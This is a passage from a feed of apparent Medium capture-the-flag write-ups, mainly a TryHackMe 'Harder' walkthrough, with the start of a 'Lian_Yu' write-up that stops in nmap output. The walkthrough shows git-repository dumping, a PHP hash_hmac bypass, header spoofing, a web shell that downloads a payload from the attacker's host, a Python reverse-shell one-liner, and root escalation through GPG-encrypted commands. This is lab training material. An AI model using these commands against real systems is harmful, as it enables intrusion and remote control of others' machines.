(Status: 403) [Size: 153]<br>/.htpasswd            (Status: 403) [Size: 153]<br>/phpinfo.php          (Status: 200) [Size: 86506]<br>/vendor               (Status: 301) [Size: 169] [--&gt; http://10.10.139.114:8080/vendor/]<br>Progress: 4614 / 4615 (99.98%)<br>===============================================================<br>Finished<br>===============================================================</pre><p>Found /phpinfo.php and /vendor that redirect to another web service on port 8080 but it’s closed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1004/1*PUGbStekkVVH7tdP6gkCgA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*84dzLUud5gsfJuBrA-_yrQ.png" /></figure><p>Let’s use curl to see header of response</p><pre>root@Zain:/home/CTF/Harder# curl -I http://10.10.139.114/<br>HTTP/1.1 200 OK<br>Server: nginx/1.18.0<br>Date: Mon, 08 Jul 2024 23:52:13 GMT<br>Content-Type: text/html; charset=UTF-8<br>Connection: keep-alive<br>Vary: Accept-Encoding<br>X-Powered-By: PHP/7.3.19<br>Set-Cookie: TestCookie=just+a+test+cookie; expires=Tue, 09-Jul-2024 00:52:13 GMT; Max-Age=3600; path=/; domain=pwd.harder.local; secure</pre><p>We have domain !! Let’s add this domain to /etc/hosts file.</p><pre>root@Zain:/home/CTF/Harder# cat /etc/hosts |grep &quot;pwd&quot;<br>10.10.139.114 pwd.harder.local</pre><p>Let’s using gobuster for hidden Pages and directories.</p><pre>root@Zain:/home/CTF/Harder# gobuster dir -u http://pwd.harder.local/ -w ../wordlists/dirb/common.txt -t 50  |tee gobuster.txt <br>===============================================================<br>Gobuster v3.6<br>by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)<br>===============================================================<br>[+] Url:                     http://pwd.harder.local/<br>[+] Method:                  GET<br>[+] Threads:                 50<br>[+] Wordlist:                ../wordlists/dirb/common.txt<br>[+] Negative Status codes:   404<br>[+] User Agent:              gobuster/3.6<br>[+] Timeout:                 10s<br>===============================================================<br>Starting gobuster in directory enumeration mode<br>===============================================================<br>/.git/HEAD            (Status: 200) [Size: 23]<br>/index.php            (Status: 200) [Size: 19926]<br>Progress: 4614 / 4615 (99.98%)<br>===============================================================<br>Finished<br>===============================================================</pre><p>There’s file called /.git/HEAD Let’s see it.</p><pre>root@Zain:/home/CTF/Harder# cat HEAD <br>ref: refs/heads/master</pre><p>ref: refs/heads/master indicates that the repository is currently on the master branch.<br>Let’s using gobuster for hidden Pages and directories under /.get/.</p><pre>root@Zain:/home/CTF/Harder#  gobuster dir -u  http://pwd.harder.local/.git/ -w ../wordlists/dirb/common.txt -t 50  |tee git.txt<br>===============================================================<br>Gobuster v3.6<br>by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)<br>===============================================================<br>[+] Url:                     http://pwd.harder.local/.git/<br>[+] Method:                  GET<br>[+] Threads:                 50<br>[+] Wordlist:                ../wordlists/dirb/common.txt<br>[+] Negative Status codes:   404<br>[+] User Agent:              gobuster/3.6<br>[+] Timeout:                 10s<br>===============================================================<br>Starting gobuster in directory enumeration mode<br>===============================================================<br>/config               (Status: 200) [Size: 92]<br>/hooks                (Status: 301) [Size: 169] [--&gt; http://pwd.harder.local:8080/.git/hooks/]<br>/index                (Status: 200) [Size: 361]<br>/info                 (Status: 301) [Size: 169] [--&gt; http://pwd.harder.local:8080/.git/info/]<br>/logs                 (Status: 301) [Size: 169] [--&gt; http://pwd.harder.local:8080/.git/logs/]<br>/objects              (Status: 301) [Size: 169] [--&gt; http://pwd.harder.local:8080/.git/objects/]<br>Progress: 4614 / 4615 (99.98%)<br>===============================================================<br>Finished<br>===============================================================</pre><p>Let’s get /config and /index files</p><pre>root@Zain:/home/CTF/Harder# wget http://pwd.harder.local/.git/config<br>--2024-07-09 03:08:15--  http://pwd.harder.local/.git/config<br>Resolving pwd.harder.local (pwd.harder.local)... 10.10.139.114<br>Connecting to pwd.harder.local (pwd.harder.local)|10.10.139.114|:80... connected.<br>HTTP request sent, awaiting response... 200 OK<br>Length: 92 [application/octet-stream]<br>Saving to: ‘config’<br><br>config                     100%[=====================================&gt;]      92  --.-KB/s    in 0s      <br><br>2024-07-09 03:08:16 (10.2 MB/s) - ‘config’ saved [92/92]<br><br>root@Zain:/home/CTF/Harder# cat config <br>[core]<br> repositoryformatversion = 0<br> filemode = true<br> bare = false<br> logallrefupdates = true<br>root@Zain:/home/CTF/Harder# wget http://pwd.harder.local/.git/index<br>--2024-07-09 03:08:52--  http://pwd.harder.local/.git/index<br>Resolving pwd.harder.local (pwd.harder.local)... 10.10.139.114<br>Connecting to pwd.harder.local (pwd.harder.local)|10.10.139.114|:80... connected.<br>HTTP request sent, awaiting response... 200 OK<br>Length: 361 [application/octet-stream]<br>Saving to: ‘index’<br><br>index                      100%[=====================================&gt;]     361  --.-KB/s    in 0s      <br><br>2024-07-09 03:08:52 (48.1 MB/s) - ‘index’ saved [361/361]<br><br>root@Zain:/home/CTF/Harder# cat index <br>DIRC]��]��J���y���@�@I�^�<br>.gitignore]���]�����]<br>                     &quot;���u��◈��;bbrtauth.php]��T]���I���fB�7�����,�a�ॽ�Mhmac.php]��R]�����`n���O���x�I�#eS�[;e index.phpTREE4 0<br>�6���� T3�T�&#39;-�ۧ`�ޘ�flnb�ށkUJ�root@Zain:/home/CTF/Harder# file index <br>index: Git index, version 2, 4 entries<br>root@Zain:/home/CTF/Harder# strings index <br>DIRC<br>.gitignore<br>;bbr<br>auth.php<br>hmac.php<br> index.php<br>TREE<br>root@Zain:/home/CTF/Harder# </pre><p>Let’s gitdumper.sh to get all git files.</p><pre>root@Zain:/home/CTF/Harder# ./gitdumper.sh http://pwd.harder.local/.git/ .<br>###########<br># GitDumper is part of https://github.com/internetwache/GitTools<br>#<br># Developed and maintained by @gehaxelt from @internetwache<br>#<br># Use at your own risk. Usage might be illegal in certain circumstances. <br># Only for educational purposes!<br>###########<br><br><br>[*] Destination folder does not exist<br>[+] Creating ./.git/<br>[+] Downloaded: HEAD<br>[-] Downloaded: objects/info/packs<br>[+] Downloaded: description<br>[+] Downloaded: config<br>[+] Downloaded: COMMIT_EDITMSG<br>[+] Downloaded: index<br>[-] Downloaded: packed-refs<br>[+] Downloaded: refs/heads/master<br>[-] Downloaded: refs/remotes/origin/HEAD<br>[-] Downloaded: refs/stash<br>[+] Downloaded: logs/HEAD<br>[+] Downloaded: logs/refs/heads/master<br>[-] Downloaded: logs/refs/remotes/origin/HEAD<br>[-] Downloaded: info/refs<br>[+] Downloaded: info/exclude<br>[-] Downloaded: /refs/wip/index/refs/heads/master<br>[-] Downloaded: /refs/wip/wtree/refs/heads/master<br>[+] Downloaded: objects/93/99abe877c92db19e7fc122d2879b470d7d6a58<br>[-] Downloaded: objects/00/00000000000000000000000000000000000000<br>[+] Downloaded: objects/ad/68cc6e2a786c4e671a6a00d6f7066dc1a49fc3<br>[+] Downloaded: objects/04/7afea4868d8b4ce8e7d6ca9eec9c82e3fe2161<br>[+] Downloaded: objects/e3/361e96c0a9db20541033f254df272deeb9dba7<br>[+] Downloaded: objects/c6/66164d58b28325393533478750410d6bbdff53<br>[+] Downloaded: objects/aa/938abf60c64cdb2d37d699409f77427c1b3826<br>[+] Downloaded: objects/cd/a7930579f48816fac740e2404903995e0ff614<br>[+] Downloaded: objects/22/8694f875f20080e29788d7cc3b626272107462<br>[+] Downloaded: objects/66/428e37f6bfaac0b42ce66106bee0a5bdf94d4e<br>[+] Downloaded: objects/6e/1096eae64fede71a78e54999236553b75b3b65<br>[+] Downloaded: objects/be/c719ffb34ca3d424bd170df5f6f37050d8a91c<br>root@Zain:/home/CTF/Harder# ll<br>total 40<br>drwxrwxr-x  3 zain zain 4096 Jul  9 03:31 ./<br>drwxr-xr-x 33 zain zain 4096 Jul  9 03:25 ../<br>-rw-r--r--  1 root root   92 Oct  3  2019 config<br>drwxr-xr-x  6 root root 4096 Jul  9 03:31 .git/<br>-rwxr-xr-x  1 root root 4389 Jul  9 03:31 gitdumper.sh*<br>-rw-r--r--  1 root root 1313 Jul  9 03:06 git.txt<br>-rw-r--r--  1 root root  848 Jul  9 03:12 gobuster.txt<br>-rw-r--r--  1 root root  361 Oct  3  2019 index<br>root@Zain:/home/CTF/Harder# cd .git/<br>root@Zain:/home/CTF/Harder/.git# ls<br>COMMIT_EDITMSG  config  description  HEAD  index  info  logs  objects  refs<br>root@Zain:/home/CTF/Harder/.git# </pre><pre>root@Zain:/home/CTF/Harder/.git# cat logs/HEAD <br>0000000000000000000000000000000000000000 ad68cc6e2a786c4e671a6a00d6f7066dc1a49fc3 evs &lt;evs@harder.local&gt; 1570100452 +0300 commit (initial): added index.php<br>ad68cc6e2a786c4e671a6a00d6f7066dc1a49fc3 047afea4868d8b4ce8e7d6ca9eec9c82e3fe2161 evs &lt;evs@harder.local&gt; 1570115492 +0300 commit: add extra security<br>047afea4868d8b4ce8e7d6ca9eec9c82e3fe2161 9399abe877c92db19e7fc122d2879b470d7d6a58 evs &lt;evs@harder.local&gt; 1570115543 +0300 commit: add gitignore</pre><p>Let’s get a copy of the files and view them.</p><pre>root@Zain:/home/CTF/Harder# git checkout .<br>Updated 4 paths from the index<br>root@Zain:/home/CTF/Harder# ll<br>total 76<br>drwxrwxr-x  3 zain zain  4096 Jul  9 03:39 ./<br>drwxr-xr-x 33 zain zain  4096 Jul  9 03:25 ../<br>-rw-r--r--  1 root root 23820 Jul  9 03:39 auth.php<br>-rw-r--r--  1 root root    92 Oct  3  2019 config<br>drwxr-xr-x  6 root root  4096 Jul  9 03:39 .git/<br>-rwxr-xr-x  1 root root  4389 Jul  9 03:31 gitdumper.sh*<br>-rw-r--r--  1 root root    27 Jul  9 03:39 .gitignore<br>-rw-r--r--  1 root root  1313 Jul  9 03:06 git.txt<br>-rw-r--r--  1 root root   848 Jul  9 03:12 gobuster.txt<br>-rw-r--r--  1 root root   431 Jul  9 03:39 hmac.php<br>-rw-r--r--  1 root root   361 Oct  3  2019 index<br>-rw-r--r--  1 root root   608 Jul  9 03:39 index.php<br>root@Zain:/home/CTF/Harder# cat .gitignore <br>credentials.php<br>secret.php</pre><p>Unfortunately, it looks like 2 useful files are not available: <br>Let’s view index.php</p><pre>root@Zain:/home/CTF/Harder# cat index.php <br>&lt;?php<br>  session_start();<br>  require(&quot;auth.php&quot;);<br>  $login = new Login;<br>  $login-&gt;authorize();<br>  require(&quot;hmac.php&quot;);<br>  require(&quot;credentials.php&quot;);<br>?&gt; <br>  &lt;table style=&quot;border: 1px solid;&quot;&gt;<br>     &lt;tr&gt;<br>       &lt;td style=&quot;border: 1px solid;&quot;&gt;url&lt;/td&gt;<br>       &lt;td style=&quot;border: 1px solid;&quot;&gt;username&lt;/td&gt;<br>       &lt;td style=&quot;border: 1px solid;&quot;&gt;password (cleartext)&lt;/td&gt;<br>     &lt;/tr&gt;<br>     &lt;tr&gt;<br>       &lt;td style=&quot;border: 1px solid;&quot;&gt;&lt;?php echo $creds[0]; ?&gt;&lt;/td&gt;<br>       &lt;td style=&quot;border: 1px solid;&quot;&gt;&lt;?php echo $creds[1]; ?&gt;&lt;/td&gt;<br>       &lt;td style=&quot;border: 1px solid;&quot;&gt;&lt;?php echo $creds[2]; ?&gt;&lt;/td&gt;<br>     &lt;/tr&gt;<br>   &lt;/table&gt;</pre><p>It’s require hmac.php , Let’s view it.</p><pre>root@Zain:/home/CTF/Harder# cat hmac.php <br>&lt;?php<br>if (empty($_GET[&#39;h&#39;]) || empty($_GET[&#39;host&#39;])) {<br>   header(&#39;HTTP/1.0 400 Bad Request&#39;);<br>   print(&quot;missing get parameter&quot;);<br>   die();<br>}<br>require(&quot;secret.php&quot;); //set $secret var<br>if (isset($_GET[&#39;n&#39;])) {<br>   $secret = hash_hmac(&#39;sha256&#39;, $_GET[&#39;n&#39;], $secret);<br>}<br><br>$hm = hash_hmac(&#39;sha256&#39;, $_GET[&#39;host&#39;], $secret);<br>if ($hm !== $_GET[&#39;h&#39;]){<br>  header(&#39;HTTP/1.0 403 Forbidden&#39;);<br>  print(&quot;extra security check failed&quot;);<br>  die();<br>}<br>?&gt;</pre><p>This is information about hash_hmac <a href="https://www.php.net/manual/en/function.hash-hmac.php">PHP function</a></p><p>Let’s trying bypass <br>defined in hmac.php there’s injecting the appropriate GET variables (h, n and host). The ultimate test will check that our h value is equal to $hm, which is itself defined as follows:</p><pre>$hm = hash_hmac(&#39;sha256&#39;, $_GET[&#39;host&#39;], hash_hmac(&#39;sha256&#39;, $_GET[&#39;n&#39;], $secret));</pre><p>Searching on the Internet how to bypass hash_hmac found this <a href="https://exploit-notes.hdks.org/exploit/web/php-hash-hmac-bypass/">Post</a>.<br>If the website uses hash_hmac function on PHP as below, we can bypass by injecting parameters.</p><p>When executing the following command, the hash_hmac returns false. <br>Let’s test:</p><pre>$ php -r &quot;echo hash_hmac(&#39;sha256&#39;, Array(), &#39;secret&#39;)==false;&quot;<br>PHP Warning:  hash_hmac() expects parameter 2 to be string, array given in Command line code on line 1<br>1</pre><p>Create a Hmac hash by running below.<br> In hmac.php: $hm needs to be the same as the parameter values of hmac.<br>Let’s compute the hash with the secret set to false:</p><pre>root@Zain:/home/CTF/Harder# php -r &quot;echo hash_hmac(&#39;sha256&#39;, &#39;pwd.harder.local&#39;, false) . \&quot;\n\&quot;;&quot;<br>5b622e20b29bdbcb0a4881f1d117d20a33a1f78a3c07ba85645567607e75cedf<br>root@Zain:/home/CTF/Harder# </pre><p>Now, we’ll send this request:</p><pre>http://pwd.harder.local/?n[]=&amp;h=5b622e20b29bdbcb0a4881f1d117d20a33a1f78a3c07ba85645567607e75cedf&amp;host=pwd.harder.local</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/899/1*-XKomErMTGSWs8-XyTiP4g.png" /></figure><p>OHHH !!! username and password of new subdomain, Let’s try it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*OW0N3gEHdM3NAi_QyjRBtg.png" /></figure><h3>Exploitation</h3><p>It’s web Shell ! Let’s access on it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*MH6SykAOmPIvia5-y0mcqw.png" /></figure><p>It’s only accepted specific IPs, Let’s add X-Forwarded-For header and sign the IP wanted : X-Forwarded-For: 10.10.10.1 <br>using burp suite and access this domain.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4OD3LzWoMUh0QbM_hO2Zwg.png" /></figure><p>Let’s try run any command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xO-fEMRJaZraDftYg23glA.png" /></figure><p>Let’s upload Sample PHP Web Shell using python3 server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/475/1*5NctOE-8-cZt1EOuFfwCYQ.png" /></figure><pre>root@Zain:/home/CTF/Harder# py -m http.server 80<br>Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...<br>10.10.131.253 - - [10/Jul/2024 01:21:57] &quot;GET /sh.php HTTP/1.1&quot; 200 -</pre><pre>root@Zain:/home/CTF/Harder# curl -X POST http://shell.harder.local/   -H &quot;Host: shell.harder.local&quot;   -H &quot;User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0&quot;   -H &quot;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8&quot;   -H &quot;Accept-Language: en-US,en;q=0.5&quot;   -H &quot;Accept-Encoding: gzip, deflate, br&quot;   -H &quot;Referer: http://shell.harder.local/&quot;   -H &quot;Content-Type: application/x-www-form-urlencoded&quot;   -H &quot;Origin: http://shell.harder.local&quot;   -H &quot;DNT: 1&quot;   -H &quot;Sec-GPC: 1&quot;   -H &quot;Connection: close&quot;   -H &quot;Cookie: PHPSESSID=794cdqirbvhmo26pkb793b8764; login_user=evs; login_pass=2f9bb0db1b60ebadded465d641cc65eb&quot;   -H &quot;X-Forwarded-For: 10.10.10.1&quot;   -H &quot;Upgrade-Insecure-Requests: 1&quot;   --data &quot;cmd=wget http://10.9.4.50:80/sh.php&quot; --compressed -o response.html<br>  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current<br>                                 Dload  Upload   Total   Spent    Left  Speed<br>100   696    0   661  100    35   1727     91 --:--:-- --:--:-- --:--:--  1817<br>root@Zain:/home/CTF/Harder#</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/1*pm_WPk8WhZbkOfgysHqMTg.png" /></figure><p>After upload this php web shell i got user flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/671/1*Je6JFB2IAcrxNlhJZjJsBw.png" /></figure><p>Now Let’s try get reverse connection back<br>i trying to get connection back with bash but didn’t work<br>so i check if exist or not</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/834/1*XWmgoUh9vJArSjJGYyPrDA.png" /></figure><p>Found python3 exist, so trying to get connection back,<br>with following command :</p><pre>shell.harder.local/sh.php?cmd=python3 -c &#39;import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&quot;10.9.0.24&quot;,8088));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(&quot;/bin/sh&quot;)&#39;</pre><p>and waiting for connection back.</p><pre>root@Zain:/home/CTF/Harder# nc -lvnp 8088<br>Listening on 0.0.0.0 8088<br>Connection received on 10.10.224.32 50672<br>/www/shell $ id<br>  id<br>uid=1001(www) gid=1001(www) groups=1001(www)<br>/www/shell $ </pre><pre>evs:x:1000:1000:Linux User,,,:/home/evs:/bin/ash<br>www:x:1001:1001:www:/home/www:/bin/ash</pre><p>this is ash shell , can’t improve to bash shell.</p><h3>Privilege Escalation</h3><p>Let’s search on SUID permissions and capabilities and crontab file</p><pre>/www/shell $ find / -perm -4000 2&gt;/dev/null<br>find / -perm -4000 2&gt;/dev/null<br>/usr/local/bin/execute-crypted<br>/www/shell $ getcap -r / 2&gt;/dev/null<br>getcap -r / 2&gt;/dev/null<br>/www/shell $ cat /etc/crontab<br>cat /etc/crontab<br>cat: can&#39;t open &#39;/etc/crontab&#39;: No such file or directory<br>/www/shell $ </pre><p>Let’s try see what contain execute-crypted</p><pre>/www/shell $ strings /usr/local/bin/execute-crypted<br>strings /usr/local/bin/execute-crypted<br>strings: /usr/local/bin/execute-crypted: Permission denied<br>/www/shell $<br>/www/shell $ ls  -l /usr/local/bin/execute-crypted<br>ls  -l /usr/local/bin/execute-crypted<br>-rwsr-x---    1 root     evs          19960 Jul  6  2020 /usr/local/bin/execute-crypted</pre><p>Permission denied, should get access on evs user or root user.</p><pre>/ $ ls -la  <br>ls -la<br>total 92<br>drwxr-xr-x    1 root     root          4096 Jul  7  2020 .<br>drwxr-xr-x    1 root     root          4096 Jul  7  2020 ..<br>-rwxr-xr-x    1 root     root             0 Jul  7  2020 .dockerenv<br>drwxr-xr-x    2 root     root          4096 May 29  2020 bin<br>drwxr-xr-x    5 root     root           360 Jul 11 22:58 dev<br>drwxr-xr-x    1 root     root          4096 Aug 18  2020 etc<br>drwxr-xr-x    1 root     root          4096 Jul  7  2020 home<br>drwxr-xr-x    1 root     root          4096 Jul  7  2020 lib<br>drwxr-xr-x    5 root     root          4096 May 29  2020 media<br>drwxr-xr-x    2 root     root          4096 May 29  2020 mnt<br>drwxr-xr-x    2 root     root          4096 May 29  2020 opt<br>dr-xr-xr-x  115 root     root             0 Jul 11 22:57 proc<br>drwx------    1 root     root          4096 Jul  7  2020 root<br>drwxr-xr-x    1 root     root          4096 Jul 11 22:58 run<br>drwxr-xr-x    2 root     root          4096 May 29  2020 sbin<br>drwxr-xr-x    2 root     root          4096 May 29  2020 srv<br>dr-xr-xr-x   13 root     root             0 Jul 11 22:57 sys<br>drwxrwxrwt    1 root     root          4096 Jul 11 22:58 tmp<br>drwxr-xr-x    1 root     root          4096 Jul  7  2020 usr<br>drwxr-xr-x    1 root     root          4096 Jul  7  2020 var<br>drwxr-xr-x    1 www      www           4096 Jul  7  2020 www<br>/ $</pre><p>There’s .dockerenv file , may be i in docker container !!<br>Let’s enumerating the files owned by www reveals the presence of an interesting file:</p><pre>/ $ find / -type f -user www 2&gt;/dev/null<br>find / -type f -user www 2&gt;/dev/null<br>/tmp/sess_utu0095om9rr89vk98njrm2t2t<br>/tmp/sess_794cdqirbvhmo26pkb793b8764<br>/tmp/sess_i1k531238si1mefmcngopm4boa<br>/home/www/.ash_history<br>/var/lib/nginx/html/50x.html<br>/var/lib/nginx/html/index.html<br>/etc/periodic/15min/evs-backup.sh<br>/proc/10/task/10/fdinfo/0<br>/proc/10/task/10/fdinfo/1<br>/proc/10/task/10/fdinfo/2<br>/proc/10/task/10/fdinfo/4<br>/proc/10/task/10/fdinfo/5</pre><p>evs-backup.sh Interesting file.</p><pre>/ $ ls -l /etc/periodic/15min/evs-backup.sh<br>ls -l /etc/periodic/15min/evs-backup.sh<br>-rwxr-xr-x    1 www      www            190 Jul  6  2020 /etc/periodic/15min/evs-backup.sh<br>/ $ cat /etc/periodic/15min/evs-backup.sh<br>cat /etc/periodic/15min/evs-backup.sh<br>#!/bin/ash<br><br># ToDo: create a backup script, that saves the /www directory to our internal server<br># for authentication use ssh with user &quot;evs&quot; and password &quot;U6j1brxGqbsUA$pMuIodnb$SZB4$bw14&quot;</pre><p>OHHH !!! It’s contain SSH username evs and password !!!</p><pre>harder:~$ id<br>uid=1000(evs) gid=1000(evs) groups=1000(evs)<br>harder:~$</pre><p>Now we got access Let try see execute-crypted file.</p><pre><br>harder:~$ strings /usr/local/bin/execute-crypted |more<br>/lib/ld-musl-x86_64.so.1<br>libc.musl-x86_64.so.1<br>__stack_chk_fail<br>_init<br>asprintf<br>setuid<br>_fini<br>system<br>__cxa_finalize<br>free<br>__libc_start_main<br>__deregister_frame_info<br>_ITM_registerTMCloneTable<br>_ITM_deregisterTMCloneTable<br>__register_frame_info<br>u{UH<br>ATSt<br>/usr/local/bin/run-crypted.sh %s                             &lt;=== Interesting<br>/usr/local/bin/run-crypted.sh<br>;*3$&quot;<br>GCC: (Alpine 8.3.0) 8.3.0<br>obj/include/bits<br>./src/include/../../include<br>./src/include<br>--More-- <br><br>harder:~$ ls -l /usr/local/bin/run-crypted.sh<br>-rwxr-x---    1 root     evs            412 Jul  7  2020 /usr/local/bin/run-crypted.sh<br>harder:~$<br>harder:~$ cat /usr/local/bin/run-crypted.sh<br>#!/bin/sh<br><br>if [ $# -eq 0 ]<br>  then<br>    echo -n &quot;[*] Current User: &quot;;<br>    whoami;<br>    echo &quot;[-] This program runs only commands which are encypted for root@harder.local using gpg.&quot;<br>    echo &quot;[-] Create a file like this: echo -n whoami &gt; command&quot;<br>    echo &quot;[-] Encrypt the file and run the command: execute-crypted command.gpg&quot;<br>  else<br>    export GNUPGHOME=/root/.gnupg/<br>    gpg --decrypt --no-verbose &quot;$1&quot; | ash<br>fi</pre><p>Can’t modify this script :(<br>Let’s try run execute-crypted , and confirm that program executes as root</p><pre>harder:~$  /usr/local/bin/execute-crypted <br>[*] Current User: root<br>[-] This program runs only commands which are encypted for root@harder.local using gpg.<br>[-] Create a file like this: echo -n whoami &gt; command<br>[-] Encrypt the file and run the command: execute-crypted command.gpg<br>harder:~$ </pre><p>Let’s search for the GPG root key : root@harder</p><pre>harder:~$ find / -type f -name &quot;root@harder.local*&quot; 2&gt;/dev/null<br>/var/backup/root@harder.local.pub<br>harder:~$ cat /var/backup/root@harder.local.pub<br>-----BEGIN PGP PUBLIC KEY BLOCK-----<br><br>mDMEXwTf8RYJKwYBBAHaRw8BAQdAkJtb3UCYvPmb1/JyRPADF0uYjU42h7REPlOK<br>AbiN88i0IUFkbWluaXN0cmF0b3IgPHJvb3RAaGFyZGVyLmxvY2FsPoiQBBMWCAA4<br>FiEEb5liHk1ktq/OVuhkyR1mFZRPaHQFAl8E3/ECGwMFCwkIBwIGFQoJCAsCBBYC<br>AwECHgECF4AACgkQyR1mFZRPaHSt8wD8CvJLt7qyCXuJZdOBPR+X7GI2dUg0DRRu<br>c5gXzwk3rMMA/0JK6ZwZCHObWjwX0oLc3jvOCgQiIdaPq1WqN9/fhLAKuDgEXwTf<br>8RIKKwYBBAGXVQEFAQEHQNa/To/VntzySOVdvOCW+iGscTLlnsjOmiGaaWvJG14O<br>AwEIB4h4BBgWCAAgFiEEb5liHk1ktq/OVuhkyR1mFZRPaHQFAl8E3/ECGwwACgkQ<br>yR1mFZRPaHTMLQD/cqbV4dMvINa/KxATQDnbaln1Lg0jI9Jie39U44GKRIEBAJyi<br>+2AO+ERYahiVzkWwTEoUpjDJIv0cP/WVzfTvPk0D<br>=qaa6<br>-----END PGP PUBLIC KEY BLOCK-----<br><br>harder:~$ </pre><p>It’s a backup of the public key, let’s import it</p><pre>harder:~$ gpg --import /var/backup/root@harder.local.pub<br>gpg: directory &#39;/home/evs/.gnupg&#39; created<br>gpg: keybox &#39;/home/evs/.gnupg/pubring.kbx&#39; created<br>gpg: /home/evs/.gnupg/trustdb.gpg: trustdb created<br>gpg: key C91D6615944F6874: public key &quot;Administrator &lt;root@harder.local&gt;&quot; imported<br>gpg: Total number processed: 1<br>gpg:               imported: 1<br>harder:~$ gpg --list-keys<br>/home/evs/.gnupg/pubring.kbx<br>----------------------------<br>pub   ed25519 2020-07-07 [SC]<br>      6F99621E4D64B6AFCE56E864C91D6615944F6874<br>uid           [ unknown] Administrator &lt;root@harder.local&gt;<br>sub   cv25519 2020-07-07 [E]<br><br>harder:~$</pre><p>Now, let’s dump the content of the root</p><pre>harder:~$ echo -n &quot;cat /root/root.txt&quot; &gt; command<br>harder:~$ gpg -e -r &quot;Administrator&quot; command<br>gpg: 6C1C04522C049868: There is no assurance this key belongs to the named user<br><br>sub  cv25519/6C1C04522C049868 2020-07-07 Administrator &lt;root@harder.local&gt;<br> Primary key fingerprint: 6F99 621E 4D64 B6AF CE56  E864 C91D 6615 944F 6874<br>      Subkey fingerprint: E51F 4262 1DB8 87CB DC36  11CD 6C1C 0452 2C04 9868<br><br>It is NOT certain that the key belongs to the person named<br>in the user ID.  If you *really* know what you are doing,<br>you may answer the next question with yes.<br><br>Use this key anyway? (y/N) y<br>harder:~$ ls                <br>command      command.gpg  user.txt<br>harder:~$  /usr/local/bin/execute-crypted command.gpg<br>gpg: encrypted with 256-bit ECDH key, ID 6C1C04522C049868, created 2020-07-07<br>      &quot;Administrator &lt;root@harder.local&gt;&quot;<br>3a7bd72672889e0756b09f0566935a6c<br>harder:~$ </pre><p>Thank you for following :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b160c246ea63" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe - Lian_Yu CTF]]></title>
            <link>https://medium.com/@3zain21/tryhackme-lian-yu-ctf-e5bbbca2bcbb?source=rss-2a6c3260dcfb------2</link>
            <guid isPermaLink="false">https://medium.com/p/e5bbbca2bcbb</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Zain]]></dc:creator>
            <pubDate>Mon, 08 Jul 2024 17:38:30 GMT</pubDate>
            <atom:updated>2024-07-08T17:38:30.829Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*h2_8sUxpG0S1ww60.jpeg" /></figure><p><a href="https://tryhackme.com/r/room/lianyu">Lian_Yu</a></p><p>We are tasked with finding two flags that are hidden across the target system.</p><p>Connect to the TryHackMe networking using your .ovpn file.</p><pre>sudo openvpn your_tryhackme_vpn.ovpn</pre><h3>Reconnaissance</h3><p>Let’s discover the services that are running on the target I performed a port scan.</p><pre>nmap -sS -p- -n -Pn --min-rate=9362 $IP<br>nmap -A -p $Port $IP</pre><p>-sS: This option specifies a SYN scan</p><p>-p-: This option tells nmap to scan all 65,535 ports.</p><p>-n: This option is speeds up the scan by avoiding DNS resolution.</p><p>-Pn: This option disables host discovery, treating all hosts as online. This is useful for scanning hosts that may be blocking ICMP ping requests.</p><p>--min-rate=9362: This option sets the minimum number of packets per second to be sent during the scan. This speeds up the scan but may increase the likelihood of being detected by security systems.</p><p>-A: This option enables OS detection, version detection, script scanning, and traceroute.</p><pre>root@Zain:/home/CTF/Lian_Yu# ./../port_scan.sh 10.10.180.5<br>Running command: nmap -sS -p- -n -Pn --min-rate=9362 10.10.180.5<br>Running command: nmap -A -p 21,22,80,111,40392 10.10.180.5<br>Starting Nmap 7.80 ( https://nmap.org ) at 2024-07-08 18:18 EEST<br>Nmap scan report for 10.10.180.5<br>Host is up (0.11s latency).<br><br>PORT      STATE SERVICE VERSION<br>21/tcp    open  ftp     vsftpd 3.0.2<br>22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u8 (protocol 2.0)<br>| ssh-hostkey: <br>|   1024 56:50:bd:11:ef:d4:ac:56:32:c3:ee:73:3e:de:87:f4 (DSA)<br>|   2048 39:6f:3a:9c:b6:2d:ad:0c:d8:6d:be:77:13:07:25:d6 (RSA)<br>|   256 a6:69:96:d7:6d:61:27:96:7e:bb:9f:83:60:1b:52:12 (ECDSA)<br>|_  256 3f:43:76:75:a8:5a:a6:cd:33:b0:66:42:04:91:fe:a0 (ED25519)<br>80/tcp    open  http    Apache httpd<br>|_http-server-header: Apache<br>|_http-title: Purgatory<br>111/tcp   open  rpcbind 2-4 (RPC #100000)<br>| rpcinfo: <br>|   program version    port/proto  service<br>|   100000  2,3,4        111/tcp   rpcbind<br>|   100000  2,3,4        111/udp   rpcbind<br>|   100000  3,4          